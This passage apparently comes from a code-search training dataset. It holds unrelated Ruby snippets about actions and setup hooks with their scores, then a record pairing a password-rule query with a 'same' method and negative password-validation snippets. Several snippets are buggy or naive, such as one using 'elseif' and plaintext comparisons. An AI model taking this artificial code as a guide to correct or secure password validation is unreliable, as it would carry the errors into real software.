"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def element_params
params.require(:element).permit(:folio_id, :title, :description, :citation, :image, :document, :image_content_type, :document_content_type, :audio, :audio_content_type, :element_link, :font)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def filtering_params\n params.permit(:email)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def list_params\n params.permit(:name)\n end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.6981606",
"0.6784227",
"0.6746523",
"0.67439264",
"0.67361516",
"0.6593381",
"0.6506166",
"0.64994407",
"0.6483518",
"0.64797056",
"0.64578557",
"0.6441216",
"0.63811713",
"0.63773805",
"0.6366333",
"0.63217646",
"0.6301816",
"0.63009787",
"0.6294436",
"0.62940663",
"0.6292164",
"0.62917984",
"0.62836355",
"0.6242686",
"0.6241917",
"0.62210834",
"0.6214862",
"0.62125784",
"0.619428",
"0.617912",
"0.617705",
"0.61735916",
"0.6163706",
"0.61532795",
"0.6152666",
"0.6148062",
"0.6123372",
"0.61180484",
"0.61088324",
"0.6106139",
"0.60925204",
"0.608326",
"0.60711503",
"0.606551",
"0.60216546",
"0.6018924",
"0.6015004",
"0.60106766",
"0.6008301",
"0.6008301",
"0.60028726",
"0.60020626",
"0.5999236",
"0.59931505",
"0.5993037",
"0.59917194",
"0.5982164",
"0.5968051",
"0.5960277",
"0.5960268",
"0.5960012",
"0.59594494",
"0.5954652",
"0.5954304",
"0.59440255",
"0.59404963",
"0.59404963",
"0.59401006",
"0.593522",
"0.5932182",
"0.5925528",
"0.5924541",
"0.5918796",
"0.59123147",
"0.5910144",
"0.5909186",
"0.5907257",
"0.5899382",
"0.5897783",
"0.58972496",
"0.58958495",
"0.58948576",
"0.5892734",
"0.5888056",
"0.58843875",
"0.58818483",
"0.5873746",
"0.58700997",
"0.5870056",
"0.5869255",
"0.58668107",
"0.58662325",
"0.5865003",
"0.5862908",
"0.5862406",
"0.58614665",
"0.5859661",
"0.585562",
"0.5855185",
"0.58523446",
"0.58504915"
] | 0.0 | -1 |
should equal the name of this class | def test_tst_suite_name
assert_equal "TcNameStuff", tst_suite_name, "Test suite name is wrong"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def class_name; end",
"def class_name; end",
"def name\n @class_name\n end",
"def name\n raise \"No name defined for #{self.class}\"\n end",
"def name; self.class.name; end",
"def name\n\t\tself.class.name\n\tend",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end"
] | [
"0.75142574",
"0.75142574",
"0.7472441",
"0.73902273",
"0.7323503",
"0.7188993",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153",
"0.71887153"
] | 0.0 | -1 |
You are writing the user registration page for a secure web site. On the registration page, the user has to enter a user ID and a password, which has to adhere to the to following criteria: User ID and password cannot be the same User ID and password have to be at least six characters long Password has to contain at least one of: !$ User ID cannot contain the following characters: !$ and space Password cannot be the word "password" Challenge: Write a function called same that takes a user ID and a password, and returns true if they are, and false otherwise. | def same (user_id, password)
if user_id.downcase == password.downcase
puts "User ID and password cannot be the same"
else
puts "Acceptable"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def same(userID, password)\n if (userID != password)\n false\n else (userID == password)\n true\n end\nend",
"def validate_password\n puts \"Enter your User ID and Password here.\"\n user_id = gets.chomp\n password = gets.chomp\n\n same(user_id, password)\n long_enough(user_id)\n long_enough(password)\n does_not_contain_special(user_id)\n contains_special(password)\n is_password(password)\nend",
"def same?(user,pass)\n if user == pass\n true\n else\n false\n end\nend",
"def Same(userID, password)\n if userID != password\n puts \"true\"\n else\n puts \"false\"\n end\nend",
"def input(user_id, password)\n if user_id == password\n 'Password and username cannot be the same'\n elsif user_id.length <= 6 && password.length <= 6\n 'Password and username must be at least six characters long'\n end\nend",
"def are_same(user, pass)\n if user == pass\n 'Sorry, username and password cannot be the same.'\n else\n 'Yay, your username and password are not the same.'\n end\nend",
"def passwords_match?\n context.user.password == context.password\n end",
"def hasSamePassword?(submittedPassword)\n encrypted_password == encryptUsingSalt(submittedPassword)\n end",
"def get_valid_creds\n puts \"Enter a username\"\n user = gets.chomp\n puts \"Enter a password\"\n pass = gets.chomp\n\n if same?(user,pass)\n p \"Invalid - User and password are the same length\"\n elsif not_long_enough?(user) || not_long_enough?(pass)\n p \"Invalid - Username or password is not long enough. Both must be at least 6 characters long.\"\n elsif contains_special?(user) || does_not_contain_special?(pass)\n p \"Invalid - Username cannot contain a #,!, or $. Password must contain a #,!, or $.\"\n else\n p \"Valid username and password!\"\n end\nend",
"def same?(params)\n User.find(params[:user_id]).play(PasswordRole) { |user|\n user.same_password?(params[:password])\n }\n end",
"def user_name (name, password)\n if name == password\n 'name and password cannot be the same.'\n elseif name.length < 6 && password.length < 6\n \"names and passwords must be atleast 6 characters long\"\n elseif password.include? ('!''#''$') == false \n 'password must contain at least one of the following \"!, #, $\"'\n elseif name.include? ('!''#''$'' ') == true\n \"ID's connot contain '!, #, $, '\"\n elseif password == 'password'\n 'your password cannot be password'\n end\nend",
"def valid_password?(password); end",
"def has_password?(submitted_password)\n\tpassword == encrypt(submitted_password) \n end",
